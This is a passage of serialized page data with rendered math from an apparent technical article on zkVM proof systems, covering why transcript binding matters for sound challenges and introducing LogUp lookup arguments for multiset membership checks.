13-20h359\nc-16-25.333-24-45-24-59z",[],{"type":23,"tag":41,"props":112047,"children":112049},{"className":112048},[21725],[112050],{"type":28,"value":2678},{"type":23,"tag":41,"props":112052,"children":112054},{"className":112053,"style":4190},[4092],[],{"type":23,"tag":41,"props":112056,"children":112058},{"className":112057},[4195],[112059],{"type":28,"value":2381},{"type":23,"tag":41,"props":112061,"children":112063},{"className":112062,"style":4190},[4092],[],{"type":23,"tag":41,"props":112065,"children":112067},{"className":112066},[4001],[112068,112073,112254,112258,112263,112268,112318,112323,112327,112332],{"type":23,"tag":41,"props":112069,"children":112072},{"className":112070,"style":112071},[4006],"height:1.4918em;vertical-align:-0.5144em;",[],{"type":23,"tag":41,"props":112074,"children":112076},{"className":112075},[21610],[112077,112082],{"type":23,"tag":41,"props":112078,"children":112080},{"className":112079,"style":21617},[21610,21615,21616],[112081],{"type":28,"value":108560},{"type":23,"tag":41,"props":112083,"children":112085},{"className":112084},[4028],[112086],{"type":23,"tag":41,"props":112087,"children":112089},{"className":112088},[4033,21628],[112090,112242],{"type":23,"tag":41,"props":112091,"children":112093},{"className":112092},[4038],[112094,112237],{"type":23,"tag":41,"props":112095,"children":112098},{"className":112096,"style":112097},[4043],"height:0.3448em;",[112099],{"type":23,"tag":41,"props":112100,"children":112102},{"style":112101},"top:-2.3606em;margin-left:0em;margin-right:0.05em;",[112103,112107],{"type":23,"tag":41,"props":112104,"children":112106},{"className":112105,"style":4053},[4052],[],{"type":23,"tag":41,"props":112108,"children":112110},{"className":112109},[4058,4059,4060,4061],[112111],{"type":23,"tag":41,"props":112112,"children":112114},{"className":112113},[4012,4061],[112115,112169,112174,112179,112184,112189,112194],{"type":23,"tag":41,"props":112116,"children":112118},{"className":112117},[4012,111914,4061],[112119],{"type":23,"tag":41,"props":112120,"children":112122},{"className":112121},[4033],[112123],{"type":23,"tag":41,"props":112124,"children":112126},{"className":112125},[4038],[112127],{"type":23,"tag":41,"props":112128,"children":112131},{"className":112129,"style":112130},[4043],"height:0.9774em;",[112132,112146],{"type":23,"tag":41,"props":112133,"children":112135},{"style":112134},"top:-2.714em;",[112136,112141],{"type":23,"tag":41,"props":112137,"children":112140},{"className":112138,"style":112139},[4052],"height:2.714em;",[],{"type":23,"tag":41,"props":112142,"children":112144},{"className":112143},[4012,21574,4061],[112145],{"type":28,"value":3222},{"type":23,"tag":41,"props":112147,"children":112149},{"style":112148},"top:-2.9774em;",[112150,112154],{"type":23,"tag":41,"props":112151,"children":112153},{"className":112152,"style":112139},[4052],[],{"type":23,"tag":41,"props":112155,"children":112158},{"className":112156,"style":112157},[111954],"left:-0.2355em;",[112159],{"type":23,"tag":41,"props":112160,"children":112162},{"className":112161,"style":112030},[112029,4061],[112163],{"type":23,"tag":34267,"props":112164,"children":112165},{"xmlns":112034,"width":112035,"height":112036,"style":112037,"viewBox":112038,"preserveAspectRatio":112039},[112166],{"type":23,"tag":112042,"props":112167,"children":112168},{"d":112044},[],{"type":23,"tag":41,"props":112170,"children":112172},{"className":112171},[4195,4061],[112173],{"type":28,"value":21681},{"type":23,"tag":41,"props":112175,"children":112177},{"className":112176},[21703,4061],[112178],{"type":28,"value":76613},{"type":23,"tag":41,"props":112180,"children":112182},{"className":112181},[4012,4061],[112183],{"type":28,"value":4024},{"type":23,"tag":41,"props":112185,"children":112187},{"className":112186},[4124,4061],[112188],{"type":28,"value":4127},{"type":23,"tag":41,"props":112190,"children":112192},{"className":112191},[4012,4061],[112193],{"type":28,"value":317},{"type":23,"tag":41,"props":112195,"children":112197},{"className":112196},[21725,4061],[112198,112203],{"type":23,"tag":41,"props":112199,"children":112201},{"className":112200},[21725,4061],[112202],{"type":28,"value":34134},{"type":23,"tag":41,"props":112204,"children":112206},{"className":112205},[4028],[112207],{"type":23,"tag":41,"props":112208,"children":112210},{"className":112209},[4033],[112211],{"type":23,"tag":41,"props":112212,"children":112214},{"className":112213},[4038],[112215],{"type":23,"tag":41,"props":112216,"children":112219},{"className":112217,"style":112218},[4043],"height:0.5935em;",[112220],{"type":23,"tag":41,"props":112221,"children":112223},{"style":112222},"top:-2.786em;margin-right:0.0714em;",[112224,112228],{"type":23,"tag":41,"props":112225,"children":112227},{"className":112226,"style":108625},[4052],[],{"type":23,"tag":41,"props":112229,"children":112231},{"className":112230},[4058,108630,108631,4061],[112232],{"type":23,"tag":41,"props":112233,"children":112235},{"className":112234},[4012,21574,4061],[112236],{"type":28,"value":56399},{"type":23,"tag":41,"props":112238,"children":112240},{"className":112239},[21731],[112241],{"type":28,"value":21734},{"type":23,"tag":41,"props":112243,"children":112245},{"className":112244},[4038],[112246],{"type":23,"tag":41,"props":112247,"children":112250},{"className":112248,"style":112249},[4043],"height:0.5144em;",[112251],{"type":23,"tag":41,"props":112252,"children":112253},{},[],{"type":23,"tag":41,"props":112255,"children":112257},{"className":112256,"style":4131},[4092],[],{"type":23,"tag":41,"props":112259,"children":112261},{"className":112260,"style":95119},[4012,21574],[112262],{"type":28,"value":33078},{"type":23,"tag":41,"props":112264,"children":112266},{"className":112265},[21703],[112267],{"type":28,"value":1737},{"type":23,"tag":41,"props":112269,"children":112271},{"className":112270},[4012,111914],[112272],{"type":23,"tag":41,"props":112273,"children":112275},{"className":112274},[4033],[112276],{"type":23,"tag":41,"props":112277,"children":112279},{"className":112278},[4038],[112280],{"type":23,"tag":41,"props":112281,"children":112283},{"className":112282,"style":112130},[4043],[112284,112296],{"type":23,"tag":41,"props":112285,"children":112286},{"style":111931},[112287,112291],{"type":23,"tag":41,"props":112288,"children":112290},{"className":112289,"style":111936},[4052],[],{"type":23,"tag":41,"props":112292,"children":112294},{"className":112293},[4012,21574],[112295],{"type":28,"value":3222},{"type":23,"tag":41,"props":112297,"children":112299},{"style":112298},"top:-3.2634em;",[112300,112304],{"type":23,"tag":41,"props":112301,"children":112303},{"className":112302,"style":111936},[4052],[],{"type":23,"tag":41,"props":112305,"children":112307},{"className":112306,"style":112157},[111954],[112308],{"type":23,"tag":41,"props":112309,"children":112311},{"className":112310,"style":112030},[112029],[112312],{"type":23,"tag":34267,"props":112313,"children":112314},{"xmlns":112034,"width":112035,"height":112036,"style":112037,"viewBox":112038,"preserveAspectRatio":112039},[112315],{"type":23,"tag":112042,"props":112316,"children":112317},{"d":112044},[],{"type":23,"tag":41,"props":112319,"children":112321},{"className":112320},[21725],[112322],{"type":28,"value":2678},{"type":23,"tag":41,"props":112324,"children":112326},{"className":112325,"style":4093},[4092],[],{"type":23,"tag":41,"props":112328,"children":112330},{"className":112329},[4098],[112331],{"type":28,"value":111027},{"type":23,"tag":41,"props":112333,"children":112335},{"className":112334,"style":4093},[4092],[],{"type":23,"tag":41,"props":112337,"children":112339},{"className":112338},[4001],[112340,112345,112355,112360,112409,112414,112418,112467],{"type":23,"tag":41,"props":112341,"children":112344},{"className":112342,"style":112343},[4006],"height:1.2274em;vertical-align:-0.25em;",[],{"type":23,"tag":41,"props":112346,"children":112348},{"className":112347},[4012,28],[112349],{"type":23,"tag":41,"props":112350,"children":112352},{"className":112351},[4012],[112353],{"type":28,"value":112354},"eq",{"type":23,"tag":41,"props":112356,"children":112358},{"className":112357},[21703],[112359],{"type":28,"value":1737},{"type":23,"tag":41,"props":112361,"children":112363},{"className":112362},[4012,111914],[112364],{"type":23,"tag":41,"props":112365,"children":112367},{"className":112366},[4033],[112368],{"type":23,"tag":41,"props":112369,"children":112371},{"className":112370},[4038],[112372],{"type":23,"tag":41,"props":112373,"children":112375},{"className":112374,"style":112130},[4043],[112376,112388],{"type":23,"tag":41,"props":112377,"children":112378},{"style":111931},[112379,112383],{"type":23,"tag":41,"props":112380,"children":112382},{"className":112381,"style":111936},[4052],[],{"type":23,"tag":41,"props":112384,"children":112386},{"className":112385},[4012,21574],[112387],{"type":28,"value":3222},{"type":23,"tag":41,"props":112389,"children":112390},{"style":112298},[112391,112395],{"type":23,"tag":41,"props":112392,"children":112394},{"className":112393,"style":111936},[4052],[],{"type":23,"tag":41,"props":112396,"children":112398},{"className":112397,"style":112157},[111954],[112399],{"type":23,"tag":41,"props":112400,"children":112402},{"className":112401,"style":112030},[112029],[112403],{"type":23,"tag":34267,"props":112404,"children":112405},{"xmlns":112034,"width":112035,"height":112036,"style":112037,"viewBox":112038,"preserveAspectRatio":112039},[112406],{"type":23,"tag":112042,"props":112407,"children":112408},{"d":112044},[],{"type":23,"tag":41,"props":112410,"children":112412},{"className":112411},[4124],[112413],{"type":28,"value":4127},{"type":23,"tag":41,"props":112415,"children":112417},{"className":112416,"style":4131},[4092],[],{"type":23,"tag":41,"props":112419,"children":112421},{"className":112420},[4012,111914],[112422],{"type":23,"tag":41,"props":112423,"children":112425},{"className":112424},[4033],[112426],{"type":23,"tag":41,"props":112427,"children":112429},{"className":112428},[4038],[112430],{"type":23,"tag":41,"props":112431,"children":112433},{"className":112432,"style":112000},[4043],[112434,112446],{"type":23,"tag":41,"props":112435,"children":112436},{"style":111931},[112437,112441],{"type":23,"tag":41,"props":112438,"children":112440},{"className":112439,"style":111936},[4052],[],{"type":23,"tag":41,"props":112442,"children":112444},{"className":112443,"style":92765},[4012,21574],[112445],{"type":28,"value":93584},{"type":23,"tag":41,"props":112447,"children":112448},{"style":111931},[112449,112453],{"type":23,"tag":41,"props":112450,"children":112452},{"className":112451,"style":111936},[4052],[],{"type":23,"tag":41,"props":112454,"children":112456},{"className":112455,"style":112024},[111954],[112457],{"type":23,"tag":41,"props":112458,"children":112460},{"className":112459,"style":112030},[112029],[112461],{"type":23,"tag":34267,"props":112462,"children":112463},{"xmlns":112034,"width":112035,"height":112036,"style":112037,"viewBox":112038,"preserveAspectRatio":112039},[112464],{"type":23,"tag":112042,"props":112465,"children":112466},{"d":112044},[],{"type":23,"tag":41,"props":112468,"children":112470},{"className":112469},[21725],[112471],{"type":28,"value":2678},{"type":23,"tag":24,"props":112473,"children":112474},{},[112475,112477,112546,112548,112694,112696,112835,112837,112921],{"type":28,"value":112476},"At a fixed challenge point ",{"type":23,"tag":37,"props":112478,"children":112480},{"className":112479},[3984,3985],[112481],{"type":23,"tag":41,"props":112482,"children":112484},{"className":112483},[3990],[112485],{"type":23,"tag":41,"props":112486,"children":112488},{"className":112487,"ariaHidden":3996},[3995],[112489],{"type":23,"tag":41,"props":112490,"children":112492},{"className":112491},[4001],[112493,112497],{"type":23,"tag":41,"props":112494,"children":112496},{"className":112495,"style":112000},[4006],[],{"type":23,"tag":41,"props":112498,"children":112500},{"className":112499},[4012,111914],[112501],{"type":23,"tag":41,"props":112502,"children":112504},{"className":112503},[4033],[112505],{"type":23,"tag":41,"props":112506,"children":112508},{"className":112507},[4038],[112509],{"type":23,"tag":41,"props":112510,"children":112512},{"className":112511,"style":112000},[4043],[112513,112525],{"type":23,"tag":41,"props":112514,"children":112515},{"style":111931},[112516,112520],{"type":23,"tag":41,"props":112517,"children":112519},{"className":112518,"style":111936},[4052],[],{"type":23,"tag":41,"props":112521,"children":112523},{"className":112522,"style":92765},[4012,21574],[112524],{"type":28,"value":93584},{"type":23,"tag":41,"props":112526,"children":112527},{"style":111931},[112528,112532],{"type":23,"tag":41,"props":112529,"children":112531},{"className":112530,"style":111936},[4052],[],{"type":23,"tag":41,"props":112533,"children":112535},{"className":112534,"style":112024},[111954],[112536],{"type":23,"tag":41,"props":112537,"children":112539},{"className":112538,"style":112030},[112029],[112540],{"type":23,"tag":34267,"props":112541,"children":112542},{"xmlns":112034,"width":112035,"height":112036,"style":112037,"viewBox":112038,"preserveAspectRatio":112039},[112543],{"type":23,"tag":112042,"props":112544,"children":112545},{"d":112044},[],{"type":28,"value":112547},", the coefficients ",{"type":23,"tag":37,"props":112549,"children":112551},{"className":112550},[3984,3985],[112552],{"type":23,"tag":41,"props":112553,"children":112555},{"className":112554},[3990],[112556],{"type":23,"tag":41,"props":112557,"children":112559},{"className":112558,"ariaHidden":3996},[3995],[112560],{"type":23,"tag":41,"props":112561,"children":112563},{"className":112562},[4001],[112564,112568,112577,112582,112631,112636,112640,112689],{"type":23,"tag":41,"props":112565,"children":112567},{"className":112566,"style":112343},[4006],[],{"type":23,"tag":41,"props":112569,"children":112571},{"className":112570},[4012,28],[112572],{"type":23,"tag":41,"props":112573,"children":112575},{"className":112574},[4012],[112576],{"type":28,"value":112354},{"type":23,"tag":41,"props":112578,"children":112580},{"className":112579},[21703],[112581],{"type":28,"value":1737},{"type":23,"tag":41,"props":112583,"children":112585},{"className":112584},[4012,111914],[112586],{"type":23,"tag":41,"props":112587,"children":112589},{"className":112588},[4033],[112590],{"type":23,"tag":41,"props":112591,"children":112593},{"className":112592},[4038],[112594],{"type":23,"tag":41,"props":112595,"children":112597},{"className":112596,"style":112130},[4043],[112598,112610],{"type":23,"tag":41,"props":112599,"children":112600},{"style":111931},[112601,112605],{"type":23,"tag":41,"props":112602,"children":112604},{"className":112603,"style":111936},[4052],[],{"type":23,"tag":41,"props":112606,"children":112608},{"className":112607},[4012,21574],[112609],{"type":28,"value":3222},{"type":23,"tag":41,"props":112611,"children":112612},{"style":112298},[112613,112617],{"type":23,"tag":41,"props":112614,"children":112616},{"className":112615,"style":111936},[4052],[],{"type":23,"tag":41,"props":112618,"children":112620},{"className":112619,"style":112157},[111954],[112621],{"type":23,"tag":41,"props":112622,"children":112624},{"className":112623,"style":112030},[112029],[112625],{"type":23,"tag":34267,"props":112626,"children":112627},{"xmlns":112034,"width":112035,"height":112036,"style":112037,"viewBox":112038,"preserveAspectRatio":112039},[112628],{"type":23,"tag":112042,"props":112629,"children":112630},{"d":112044},[],{"type":23,"tag":41,"props":112632,"children":112634},{"className":112633},[4124],[112635],{"type":28,"value":4127},{"type":23,"tag":41,"props":112637,"children":112639},{"className":112638,"style":4131},[4092],[],{"type":23,"tag":41,"props":112641,"children":112643},{"className":112642},[4012,111914],[112644],{"type":23,"tag":41,"props":112645,"children":112647},{"className":112646},[4033],[112648],{"type":23,"tag":41,"props":112649,"children":112651},{"className":112650},[4038],[112652],{"type":23,"tag":41,"props":112653,"children":112655},{"className":112654,"style":112000},[4043],[112656,112668],{"type":23,"tag":41,"props":112657,"children":112658},{"style":111931},[112659,112663],{"type":23,"tag":41,"props":112660,"children":112662},{"className":112661,"style":111936},[4052],[],{"type":23,"tag":41,"props":112664,"children":112666},{"className":112665,"style":92765},[4012,21574],[112667],{"type":28,"value":93584},{"type":23,"tag":41,"props":112669,"children":112670},{"style":111931},[112671,112675],{"type":23,"tag":41,"props":112672,"children":112674},{"className":112673,"style":111936},[4052],[],{"type":23,"tag":41,"props":112676,"children":112678},{"className":112677,"style":112024},[111954],[112679],{"type":23,"tag":41,"props":112680,"children":112682},{"className":112681,"style":112030},[112029],[112683],{"type":23,"tag":34267,"props":112684,"children":112685},{"xmlns":112034,"width":112035,"height":112036,"style":112037,"viewBox":112038,"preserveAspectRatio":112039},[112686],{"type":23,"tag":112042,"props":112687,"children":112688},{"d":112044},[],{"type":23,"tag":41,"props":112690,"children":112692},{"className":112691},[21725],[112693],{"type":28,"value":2678},{"type":28,"value":112695}," are constants, so ",{"type":23,"tag":37,"props":112697,"children":112699},{"className":112698},[3984,3985],[112700],{"type":23,"tag":41,"props":112701,"children":112703},{"className":112702},[3990],[112704],{"type":23,"tag":41,"props":112705,"children":112707},{"className":112706,"ariaHidden":3996},[3995],[112708],{"type":23,"tag":41,"props":112709,"children":112711},{"className":112710},[4001],[112712,112716,112776,112781,112830],{"type":23,"tag":41,"props":112713,"children":112715},{"className":112714,"style":111909},[4006],[],{"type":23,"tag":41,"props":112717,"children":112719},{"className":112718},[4012,111914],[112720],{"type":23,"tag":41,"props":112721,"children":112723},{"className":112722},[4033,21628],[112724,112765],{"type":23,"tag":41,"props":112725,"children":112727},{"className":112726},[4038],[112728,112760],{"type":23,"tag":41,"props":112729,"children":112731},{"className":112730,"style":111927},[4043],[112732,112744],{"type":23,"tag":41,"props":112733,"children":112734},{"style":111931},[112735,112739],{"type":23,"tag":41,"props":112736,"children":112738},{"className":112737,"style":111936},[4052],[],{"type":23,"tag":41,"props":112740,"children":112742},{"className":112741,"style":95119},[4012,21574],[112743],{"type":28,"value":33078},{"type":23,"tag":41,"props":112745,"children":112746},{"style":111945},[112747,112751],{"type":23,"tag":41,"props":112748,"children":112750},{"className":112749,"style":111936},[4052],[],{"type":23,"tag":41,"props":112752,"children":112754},{"className":112753,"style":111955},[111954],[112755],{"type":23,"tag":41,"props":112756,"children":112758},{"className":112757},[4012],[112759],{"type":28,"value":111962},{"type":23,"tag":41,"props":112761,"children":112763},{"className":112762},[21731],[112764],{"type":28,"value":21734},{"type":23,"tag":41,"props":112766,"children":112768},{"className":112767},[4038],[112769],{"type":23,"tag":41,"props":112770,"children":112772},{"className":112771,"style":111975},[4043],[112773],{"type":23,"tag":41,"props":112774,"children":112775},{},[],{"type":23,"tag":41,"props":112777,"children":112779},{"className":112778},[21703],[112780],{"type":28,"value":1737},{"type":23,"tag":41,"props":112782,"children":112784},{"className":112783},[4012,111914],[112785],{"type":23,"tag":41,"props":112786,"children":112788},{"className":112787},[4033],[112789],{"type":23,"tag":41,"props":112790,"children":112792},{"className":112791},[4038],[112793],{"type":23,"tag":41,"props":112794,"children":112796},{"className":112795,"style":112000},[4043],[112797,112809],{"type":23,"tag":41,"props":112798,"children":112799},{"style":111931},[112800,112804],{"type":23,"tag":41,"props":112801,"children":112803},{"className":112802,"style":111936},[4052],[],{"type":23,"tag":41,"props":112805,"children":112807},{"className":112806,"style":92765},[4012,21574],[112808],{"type":28,"value":93584},{"type":23,"tag":41,"props":112810,"children":112811},{"style":111931},[112812,112816],{"type":23,"tag":41,"props":112813,"children":112815},{"className":112814,"style":111936},[4052],[],{"type":23,"tag":41,"props":112817,"children":112819},{"className":112818,"style":112024},[111954],[112820],{"type":23,"tag":41,"props":112821,"children":112823},{"className":112822,"style":112030},[112029],[112824],{"type":23,"tag":34267,"props":112825,"children":112826},{"xmlns":112034,"width":112035,"height":112036,"style":112037,"viewBox":112038,"preserveAspectRatio":112039},[112827],{"type":23,"tag":112042,"props":112828,"children":112829},{"d":112044},[],{"type":23,"tag":41,"props":112831,"children":112833},{"className":112832},[21725],[112834],{"type":28,"value":2678},{"type":28,"value":112836}," is linear in the table values ",{"type":23,"tag":37,"props":112838,"children":112840},{"className":112839},[3984,3985],[112841],{"type":23,"tag":41,"props":112842,"children":112844},{"className":112843},[3990],[112845],{"type":23,"tag":41,"props":112846,"children":112848},{"className":112847,"ariaHidden":3996},[3995],[112849],{"type":23,"tag":41,"props":112850,"children":112852},{"className":112851},[4001],[112853,112857,112862,112867,112916],{"type":23,"tag":41,"props":112854,"children":112856},{"className":112855,"style":112343},[4006],[],{"type":23,"tag":41,"props":112858,"children":112860},{"className":112859,"style":95119},[4012,21574],[112861],{"type":28,"value":33078},{"type":23,"tag":41,"props":112863,"children":112865},{"className":112864},[21703],[112866],{"type":28,"value":1737},{"type":23,"tag":41,"props":112868,"children":112870},{"className":112869},[4012,111914],[112871],{"type":23,"tag":41,"props":112872,"children":112874},{"className":112873},[4033],[112875],{"type":23,"tag":41,"props":112876,"children":112878},{"className":112877},[4038],[112879],{"type":23,"tag":41,"props":112880,"children":112882},{"className":112881,"style":112130},[4043],[112883,112895],{"type":23,"tag":41,"props":112884,"children":112885},{"style":111931},[112886,112890],{"type":23,"tag":41,"props":112887,"children":112889},{"className":112888,"style":111936},[4052],[],{"type":23,"tag":41,"props":112891,"children":112893},{"className":112892},[4012,21574],[112894],{"type":28,"value":3222},{"type":23,"tag":41,"props":112896,"children":112897},{"style":112298},[112898,112902],{"type":23,"tag":41,"props":112899,"children":112901},{"className":112900,"style":111936},[4052],[],{"type":23,"tag":41,"props":112903,"children":112905},{"className":112904,"style":112157},[111954],[112906],{"type":23,"tag":41,"props":112907,"children":112909},{"className":112908,"style":112030},[112029],[112910],{"type":23,"tag":34267,"props":112911,"children":112912},{"xmlns":112034,"width":112035,"height":112036,"style":112037,"viewBox":112038,"preserveAspectRatio":112039},[112913],{"type":23,"tag":112042,"props":112914,"children":112915},{"d":112044},[],{"type":23,"tag":41,"props":112917,"children":112919},{"className":112918},[21725],[112920],{"type":28,"value":2678},{"type":28,"value":706},{"type":23,"tag":24,"props":112923,"children":112924},{},[112925,112927,112996],{"type":28,"value":112926},"That linearity is exactly why missing transcript binding is dangerous: if ",{"type":23,"tag":37,"props":112928,"children":112930},{"className":112929},[3984,3985],[112931],{"type":23,"tag":41,"props":112932,"children":112934},{"className":112933},[3990],[112935],{"type":23,"tag":41,"props":112936,"children":112938},{"className":112937,"ariaHidden":3996},[3995],[112939],{"type":23,"tag":41,"props":112940,"children":112942},{"className":112941},[4001],[112943,112947],{"type":23,"tag":41,"props":112944,"children":112946},{"className":112945,"style":112000},[4006],[],{"type":23,"tag":41,"props":112948,"children":112950},{"className":112949},[4012,111914],[112951],{"type":23,"tag":41,"props":112952,"children":112954},{"className":112953},[4033],[112955],{"type":23,"tag":41,"props":112956,"children":112958},{"className":112957},[4038],[112959],{"type":23,"tag":41,"props":112960,"children":112962},{"className":112961,"style":112000},[4043],[112963,112975],{"type":23,"tag":41,"props":112964,"children":112965},{"style":111931},[112966,112970],{"type":23,"tag":41,"props":112967,"children":112969},{"className":112968,"style":111936},[4052],[],{"type":23,"tag":41,"props":112971,"children":112973},{"className":112972,"style":92765},[4012,21574],[112974],{"type":28,"value":93584},{"type":23,"tag":41,"props":112976,"children":112977},{"style":111931},[112978,112982],{"type":23,"tag":41,"props":112979,"children":112981},{"className":112980,"style":111936},[4052],[],{"type":23,"tag":41,"props":112983,"children":112985},{"className":112984,"style":112024},[111954],[112986],{"type":23,"tag":41,"props":112987,"children":112989},{"className":112988,"style":112030},[112029],[112990],{"type":23,"tag":34267,"props":112991,"children":112992},{"xmlns":112034,"width":112035,"height":112036,"style":112037,"viewBox":112038,"preserveAspectRatio":112039},[112993],{"type":23,"tag":112042,"props":112994,"children":112995},{"d":112044},[],{"type":28,"value":112997}," is sampled before those values are bound, an attacker can reprogram values while preserving the same evaluated claim.",{"type":23,"tag":546,"props":112999,"children":113001},{"id":113000},"lookup-arguments-logup",[113002],{"type":28,"value":113003},"Lookup Arguments (LogUp)",{"type":23,"tag":24,"props":113005,"children":113006},{},[113007],{"type":28,"value":113008},"zkVMs need to check that values satisfy certain properties. For example:",{"type":23,"tag":417,"props":113010,"children":113011},{},[113012,113068,113073],{"type":23,"tag":421,"props":113013,"children":113014},{},[113015,113017,113067],{"type":28,"value":113016},"Is this byte in range ",{"type":23,"tag":37,"props":113018,"children":113020},{"className":113019},[3984,3985],[113021],{"type":23,"tag":41,"props":113022,"children":113024},{"className":113023},[3990],[113025],{"type":23,"tag":41,"props":113026,"children":113028},{"className":113027,"ariaHidden":3996},[3995],[113029],{"type":23,"tag":41,"props":113030,"children":113032},{"className":113031},[4001],[113033,113037,113042,113047,113052,113056,113062],{"type":23,"tag":41,"props":113034,"children":113036},{"className":113035,"style":4113},[4006],[],{"type":23,"tag":41,"props":113038,"children":113040},{"className":113039},[21703],[113041],{"type":28,"value":312},{"type":23,"tag":41,"props":113043,"children":113045},{"className":113044},[4012],[113046],{"type":28,"value":4024},{"type":23,"tag":41,"props":113048,"children":113050},{"className":113049},[4124],[113051],{"type":28,"value":4127},{"type":23,"tag":41,"props":113053,"children":113055},{"className":113054,"style":4131},[4092],[],{"type":23,"tag":41,"props":113057,"children":113059},{"className":113058},[4012],[113060],{"type":28,"value":113061},"255",{"type":23,"tag":41,"props":113063,"children":113065},{"className":113064},[21725],[113066],{"type":28,"value":15402},{"type":28,"value":3155},{"type":23,"tag":421,"props":113069,"children":113070},{},[113071],{"type":28,"value":113072},"Does this opcode decode correctly?",{"type":23,"tag":421,"props":113074,"children":113075},{},[113076],{"type":28,"value":113077},"Is this memory access consistent with previous accesses?",{"type":23,"tag":24,"props":113079,"children":113080},{},[113081,113086],{"type":23,"tag":510,"props":113082,"children":113083},{},[113084],{"type":28,"value":113085},"The naive approach:",{"type":28,"value":113087}," Add constraints for each check. Expensive.",{"type":23,"tag":24,"props":113089,"children":113090},{},[113091,113096,113098,113103],{"type":23,"tag":510,"props":113092,"children":113093},{},[113094],{"type":28,"value":113095},"The clever approach:",{"type":28,"value":113097}," Precompute a table of valid tuples. Prove that every value the program uses appears in the table. This is a ",{"type":23,"tag":510,"props":113099,"children":113100},{},[113101],{"type":28,"value":113102},"multiset membership",{"type":28,"value":67791},{"type":23,"tag":24,"props":113105,"children":113106},{},[113107,113112],{"type":23,"tag":510,"props":113108,"children":113109},{},[113110],{"type":28,"value":113111},"LogUp (Logarithmic Derivative):",{"type":28,"value":113113}," Encode multiset membership as a sum of fractions.",{"type":23,"tag":24,"props":113115,"children":113116},{},[113117,113119,113144,113146,113173],{"type":28,"value":113118},"If set ",{"type":23,"tag":37,"props":113120,"children":113122},{"className":113121},[3984,3985],[113123],{"type":23,"tag":41,"props":113124,"children":113126},{"className":113125},[3990],[113127],{"type":23,"tag":41,"props":113128,"children":113130},{"className":113129,"ariaHidden":3996},[3995],[113131],{"type":23,"tag":41,"props":113132,"children":113134},{"className":113133},[4001],[113135,113139],{"type":23,"tag":41,"props":113136,"children":113138},{"className":113137,"style":21569},[4006],[],{"type":23,"tag":41,"props":113140,"children":113142},{"className":113141},[4012,21574],[113143],{"type":28,"value":76762},{"type":28,"value":113145}," should equal set ",{"type":23,"tag":37,"props":113147,"children":113149},{"className":113148},[3984,3985],[113150],{"type":23,"tag":41,"props":113151,"children":113153},{"className":113152},[3990],[113154],{"type":23,"tag":41,"props":113155,"children":113157},{"className":113156,"ariaHidden":3996},[3995],[113158],{"type":23,"tag":41,"props":113159,"children":113161},{"className":113160},[4001],[113162,113166],{"type":23,"tag":41,"props":113163,"children":113165},{"className":113164,"style":21569},[4006],[],{"type":23,"tag":41,"props":113167,"children":113170},{"className":113168,"style":113169},[4012,21574],"margin-right:0.05017em;",[113171],{"type":28,"value":113172},"B",{"type":28,"value":113174}," as multisets:",{"type":23,"tag":24,"props":113176,"children":113177},{},[113178],{"type":23,"tag":37,"props":113179,"children":113181},{"className":113180},[3984,3985],[113182],{"type":23,"tag":41,"props":113183,"children":113185},{"className":113184},[3990],[113186],{"type":23,"tag":41,"props":113187,"children":113189},{"className":113188,"ariaHidden":3996},[3995],[113190,113405],{"type":23,"tag":41,"props":113191,"children":113193},{"className":113192},[4001],[113194,113199,113272,113276,113392,113396,113401],{"type":23,"tag":41,"props":113195,"children":113198},{"className":113196,"style":113197},[4006],"height:1.2484em;vertical-align:-0.4033em;",[],{"type":23,"tag":41,"props":113200,"children":113202},{"className":113201},[21610],[113203,113208],{"type":23,"tag":41,"props":113204,"children":113206},{"className":113205,"style":21617},[21610,21615,21616],[113207],{"type":28,"value":108560},{"type":23,"tag":41,"props":113209,"children":113211},{"className":113210},[4028],[113212],{"type":23,"tag":41,"props":113213,"children":113215},{"className":113214},[4033,21628],[113216,113260],{"type":23,"tag":41,"props":113217,"children":113219},{"className":113218},[4038],[113220,113255],{"type":23,"tag":41,"props":113221,"children":113224},{"className":113222,"style":113223},[4043],"height:0.1786em;",[113225],{"type":23,"tag":41,"props":113226,"children":113227},{"style":21641},[113228,113232],{"type":23,"tag":41,"props":113229,"children":113231},{"className":113230,"style":4053},[4052],[],{"type":23,"tag":41,"props":113233,"children":113235},{"className":113234},[4058,4059,4060,4061],[113236],{"type":23,"tag":41,"props":113237,"children":113239},{"className":113238},[4012,4061],[113240,113245,113250],{"type":23,"tag":41,"props":113241,"children":113243},{"className":113242},[4012,21574,4061],[113244],{"type":28,"value":458},{"type":23,"tag":41,"props":113246,"children":113248},{"className":113247},[4195,4061],[113249],{"type":28,"value":21681},{"type":23,"tag":41,"props":113251,"children":113253},{"className":113252},[4012,21574,4061],[113254],{"type":28,"value":76762},{"type":23,"tag":41,"props":113256,"children":113258},{"className":113257},[21731],[113259],{"type":28,"value":21734},{"type":23,"tag":41,"props":113261,"children":113263},{"className":113262},[4038],[113264],{"type":23,"tag":41,"props":113265,"children":113268},{"className":113266,"style":113267},[4043],"height:0.3271em;",[113269],{"type":23,"tag":41,"props":113270,"children":113271},{},[],{"type":23,"tag":41,"props":113273,"children":113275},{"className":113274,"style":4131},[4092],[],{"type":23,"tag":41,"props":113277,"children":113279},{"className":113278},[4012],[113280,113285,113388],{"type":23,"tag":41,"props":113281,"children":113284},{"className":113282},[21703,113283],"nulldelimiter",[],{"type":23,"tag":41,"props":113286,"children":113289},{"className":113287},[113288],"mfrac",[113290],{"type":23,"tag":41,"props":113291,"children":113293},{"className":113292},[4033,21628],[113294,113376],{"type":23,"tag":41,"props":113295,"children":113297},{"className":113296},[4038],[113298,113371],{"type":23,"tag":41,"props":113299,"children":113302},{"className":113300,"style":113301},[4043],"height:0.8451em;",[113303,113336,113350],{"type":23,"tag":41,"props":113304,"children":113306},{"style":113305},"top:-2.655em;",[113307,113311],{"type":23,"tag":41,"props":113308,"children":113310},{"className":113309,"style":111936},[4052],[],{"type":23,"tag":41,"props":113312,"children":113314},{"className":113313},[4058,4059,4060,4061],[113315],{"type":23,"tag":41,"props":113316,"children":113318},{"className":113317},[4012,4061],[113319,113326,113331],{"type":23,"tag":41,"props":113320,"children":113323},{"className":113321,"style":113322},[4012,21574,4061],"margin-right:0.04398em;",[113324],{"type":28,"value":113325},"z",{"type":23,"tag":41,"props":113327,"children":113329},{"className":113328},[4098,4061],[113330],{"type":28,"value":4072},{"type":23,"tag":41,"props":113332,"children":113334},{"className":113333},[4012,21574,4061],[113335],{"type":28,"value":458},{"type":23,"tag":41,"props":113337,"children":113339},{"style":113338},"top:-3.23em;",[113340,113344],{"type":23,"tag":41,"props":113341,"children":113343},{"className":113342,"style":111936},[4052],[],{"type":23,"tag":41,"props":113345,"